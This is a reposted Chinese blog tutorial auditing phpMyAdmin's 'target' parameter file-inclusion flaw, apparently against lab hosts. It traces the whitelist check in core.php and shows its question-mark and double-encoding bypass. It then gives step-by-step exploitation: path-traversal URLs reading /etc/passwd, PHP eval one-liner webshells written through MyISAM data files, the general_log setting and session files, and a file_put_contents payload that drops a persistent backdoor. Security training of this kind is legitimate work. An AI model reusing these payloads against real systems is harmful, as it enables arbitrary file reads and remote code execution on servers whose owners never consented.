自学内容网 自学内容网

phpmyadmin-文件包含漏洞代码审计过程(超详细)

目录

1.全文搜索

2.进入到index.php

3.定位到core.php

4.操作验证

5.拿到webshell

思路一:

(1)MySQL数据库常用引擎

(2)创建数据库、表

(3)查询data路径

思路二:

(1)日志文件写入一句话来获取webshell

(2)点击变量搜索gen

(3)修改general log和general log file

(4)输入一句话木马,在SQL里面执行

思路三:

(1)phpmyadmin,把所有的查询记录,默认存放在一个sessionid命名的文件中,因此我们可以从这里入手,输入一个查询的一句话木马,输入后即可存放在sessionid命名的文件中,然后访问该文件在windows中session.save_path存放的位置

(2)根据路径在文件夹中查找D:\phpstudy_pro\Extensions\tmp\tmp查看命名方式

(3)通过在浏览器上面检查,查到了sessionid:gmts24jmg4q0t49qmqug007eofcb863b

(4)根据经验可知

(5)这里需要注意会由一个报错时由于我们提供的key值是cmd是字符型变量,而不是常量,

(6)这里我们需要清除cookie

(7)进入菜单项点击设置

(8)点击清除数据

(9)重新刷新网页

注意事项:


phpmyadmin-文件包含漏洞

1.全文搜索

2.进入到index.php

这里便有个很明显的参数参数target

所以由此我们可以写成https://fiadmin-s347glt.gxalabs.com/index.php?target=

继续分析

$target_blacklist = array (

'import.php', 'export.php'

);

if (! empty($_REQUEST['target']) //target不能为空

&& is_string($_REQUEST['target']) //target必须是字符串

&& ! preg_match('/^index/', $_REQUEST['target']) //不能是index开头

&& ! in_array($_REQUEST['target'], $target_blacklist) //target不能在

$target_blacklist里面

&& Core::checkPageValidity($_REQUEST['target'])

) {

include $_REQUEST['target'];

exit;

}

3.定位到core.php

通过checkPageValidity定位到函数core.php

$page是从index.php中的target传过来的

$whitelist是一个白名单数组,默认为空

由这个可知$whitelist = self::$goto_whitelist self类里面的$goto_whitelist

全文追踪后查出白名单

public static $goto_whitelist = array(

'db_datadict.php',

'db_sql.php',

'db_events.php',

'db_export.php',

'db_importdocsql.php',

'db_multi_table_query.php',

'db_structure.php',

'db_import.php',

'db_operations.php',

'db_search.php',

'db_routines.php',

'export.php',

'import.php',

'index.php',

'pdf_pages.php',

'pdf_schema.php',

'server_binlog.php',

'server_collations.php',

'server_databases.php',

'server_engines.php',

'server_export.php',

'server_import.php',

'server_privileges.php',

'server_sql.php',

'server_status.php',

'server_status_advisor.php',

'server_status_monitor.php',

'server_status_queries.php',

'server_status_variables.php',

'server_variables.php',

'sql.php',

'tbl_addfield.php',

'tbl_change.php',

'tbl_create.php',

'tbl_import.php',

'tbl_indexes.php',

'tbl_sql.php',

'tbl_export.php',

'tbl_operations.php',

'tbl_structure.php',

第456-460行

mb_strpos — 查找字符串在另一个字符串中首次出现的位置

判断问号在$page首次出现的位置

如果没有问号,就拼接一个问号

mb_substr — 获取部分字符串

从$page中取出第一个字符开始到第一个问号之间的字符

如果target传进来的是target=sql.php?,那么$_page=sql.php

第461-462行

再去判断$_page是否在白名单里面

如果在,则返回true

如果不在,则返回false,则继续往下判断

'tbl_relation.php',

'tbl_replace.php',

'tbl_row_action.php',

'tbl_select.php',

'tbl_zoom_select.php',

'transformation_overview.php',

'transformation_wrapper.php',

'user_password.php',

);

$_page = mb_substr(

            $page,

            0,

            mb_strpos($page . '?', '?')

        );

mb_strpos — 查找字符串在另一个字符串中首次出现的位置

mb_strpos($page . '?', '?')

判断问号在$page首次出现的位置

如果没有问号,就拼接一个问号

if (in_array($_page, $whitelist)) {

return true;

}

再去判断$_page是否在白名单里面

如果在,则返回true

如果不在,则返回false,则继续往下判断

$_page = urldecode($page); //对$page进行解码

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

对$page进行解码(注意get传参默认就会经历一次url解码)

urldecode是php中的解码函数

4.操作验证

fiadmin-s347glt.gxalabs.com/index.php?target=sql.php?../../../../../../../../etc/passwd

由于我这里使用的是Linux操作系统的phpmyadmin,因此../无论加多少个都会返回到根目录,因此可以查询到/etc/passwd

5.拿到webshell

思路一:
(1)MySQL数据库常用引擎

MyISAM

.frm :存储了表的结构,字段名,字段类型等信息

.MYI :存储表的索引信息

.MYD :存储了表的数据

InnoDB

.frm :存储了表的结构,字段名,字段类型等信息

.ibd :存储了表的数据

(2)创建数据库、表

创建数据库

创建数据表

创建字段

写入内容

<?php eval($_REQUEST[123]);?>

写入成功后存放在test.MYD文件中

(3)查询data路径

SELECT @@datadir

拼接路径

/var/lib/mysql/test/test.MYD

 最终访问路径为

fiadmin-s347glt.gxalabs.com/index.php?target=sql.php?../../../../../../../../../var/lib/mysql/test/test.MYD&123=phpinfo();

访问后发现出现Permission denied这个没有权限访问的语句,因此就应该换给思路

思路二:
(1)日志文件写入一句话来获取webshell

因为我们每写入一个sql语句都会保存在日志文件中,如果我们把写入的日志文件重命名为.php的形式,再执行一次该sql语句就会,那么该语句就会被保存在.php文件中,这样就成功写入webshell

(2)点击变量搜索gen

会出现general log和general log file这两个变量

general log变量是指是否启动记录日志

general log file指的是日志文件的路径

(3)修改general log和general log file

也可使用sql语句进行修改

SET global general_log = "ON"等

(4)输入一句话木马,在SQL里面执行

SELECT "<?php eval($_REQUEST[cmd]); ?>"

成功写入

拼接函数

general log file路径在/var/lib/mysql/deploy-s347glt-fiadmin-s347glt-66dbc44644-dxvs6.php

拼接后为

fiadmin-s347glt.gxalabs.com/index.php?target=sql.php?../../../../../../../../../var/lib/mysql/deploy-s347glt-fiadmin-s347glt-66dbc44644-dxvs6.php&cmd=phpinfo();

这里业出现了Permission denied没有权限访问,因此再次转换思路

思路三:
(1)phpmyadmin,把所有的查询记录,默认存放在一个sessionid命名的文件中,因此我们可以从这里入手,输入一个查询的一句话木马,输入后即可存放在sessionid命名的文件中,然后访问该文件在windows中session.save_path存放的位置

"D:\phpstudy_pro\Extensions\tmp\tmp"

(2)根据路径在文件夹中查找D:\phpstudy_pro\Extensions\tmp\tmp查看命名方式

可以查找执行查询的记录

因此命名方式是

sess_sessionid

sess_3a7pgo9mptc9gfv6sgkt8evbf2

(3)通过在浏览器上面检查,查到了sessionid:gmts24jmg4q0t49qmqug007eofcb863b

所以说这里的命名可以拼接为

sess_gmts24jmg4q0t49qmqug007eofcb863b

(4)根据经验可知

linux系统session文件保存路径(在自己本地搭建环境先看一下)

session.save_path = "/var/lib/php/sessions"

但是这里的session文件路径为session.save_path = "/var/lib/php/session"

直接访问

4f6jhi2ns398nljas49p1icd1mi20a7h

拼接得

http://fiadmin-s347glt.gxalabs.com/index.php?target=sql.php?../../../../../../../../../var/lib/php/session/sess_4f6jhi2ns398nljas49p1icd1mi20a7h&cmd=phpinfo();

http://fiadmin-s347glt.gxalabs.com/index.php?target=sql.php?../../../../../../../../../var/lib/php/session/sess_4f6jhi2ns398nljas49p1icd1mi20a7h&cmd=phpinfo();

(5)这里需要注意会由一个报错时由于我们提供的key值是cmd是字符型变量,而不是常量,

<?php eval($_REQUEST[cmd]); ?>这里REQUEST里面要是常量就不会报错了

<?php eval($_REQUEST[cmd]); ?>将这个cmd改为123就不会报错了

但是这里如果改了之后会出现你在同一个查询目录下写了两个php木马

SELECT "<?php eval($_REQUEST[cmd]); ?>"

SELECT "<?php eval($_REQUEST[123]); ?>"

因此会默认执行第一个

(6)这里我们需要清除cookie

这里的sessionid是dc6ckjo4j59na2l36n14ghtn7fm4r8m0

清除cookie

(7)进入菜单项点击设置

(8)点击清除数据

(9)重新刷新网页

这里的sessionid就变成了2giikl2n1v1gco9jbumho29qvumd57fc

再重新按照上述步骤重新写入

SELECT "<?php eval($_REQUEST[123]); ?>"

这样就可以执行了,这里就相当于我们换了一个文件来存储一句话木马

这里也可以通过

http://fiadmin-csb.gxalabs.com/index.php?

target=sql.php?../../../../../../../../../var/lib/php/session/sess_egos9bvduqnpcn5sb8cbf64o8q

i8qe1k&123=file_put_contents('./tmp/1.php','<?php eval($_REQUEST[123]);?>');

写入一句话木马

注意事项:

1.我们在操作时需要注意的时一句话木马是否写错

SELECT "<?php eval($_REQUEST[cmd]); ?>"

我最开始就是把一句话木马写错了,把cmd外面的[ ]变成了( )因此执行错误

2.在执行不成功时有可能时原来的文件里面已经存储了一句话木马但是你不知道,因此这里就需要清除cookie

3.windows里面包含的路径不能出现问号,但是linux系统里面?不影响执行结果

linux系统中

http://fiadmin-csb.gxalabs.com/index.php?target=sql.php?../../../../../../../../etc/passwd

Windows系统中

Windows系统中

http://www.phpmyadmin.com/index.php?target=sql.php%253f../../../../../../../123.txt

这里的?做了url编码

这里的?做了两次url编码,因为get传参的时候会自动解码一次

www.wsdc.com/views/login.php?file=../upload/2023/12/06/1701853230.jpg&123=file_put_contents('../1.php','<?php eval($_REQUEST[123]);?>');


原文地址:https://blog.csdn.net/qq_59020256/article/details/135857528

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!